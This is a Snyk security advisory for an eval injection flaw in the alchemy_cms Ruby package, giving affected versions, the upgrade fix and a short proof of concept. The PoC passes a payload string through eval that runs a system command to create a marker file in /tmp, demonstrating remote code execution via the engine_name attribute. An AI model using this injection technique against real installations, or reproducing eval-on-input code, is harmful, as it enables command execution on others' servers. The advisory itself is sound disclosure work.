Eval Injection Affecting alchemy_cms package, versions <7.4.12>=8.0.0.a, <8.0.3
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
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Test your applications- Snyk IDSNYK-RUBY-ALCHEMYCMS-15037183
- published20 Jan 2026
- disclosed19 Jan 2026
- creditSardor Shoakbarov
Introduced: 19 Jan 2026
CVE-2026-23885 (opens in a new tab)How to fix?
Upgrade alchemy_cms to version 7.4.12, 8.0.3 or higher.
Overview
Affected versions of this package are vulnerable to Eval Injection via the resource_url_proxy function. An attacker can execute arbitrary system commands by supplying crafted input to the engine_name attribute, which is evaluated within the application context.
PoC
require 'ostruct'
def resource_url_proxy(resource_handler)
if resource_handler.engine_name && !resource_handler.engine_name.empty?
eval(resource_handler.engine_name)
end
end
# Payload to create a file in /tmp directory
payload = "system('touch /tmp/alchemy_rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)
resource_url_proxy(handler)
if File.exist?('/tmp/alchemy_rce_verified')
puts "RCE Verified: Command executed successfully."
end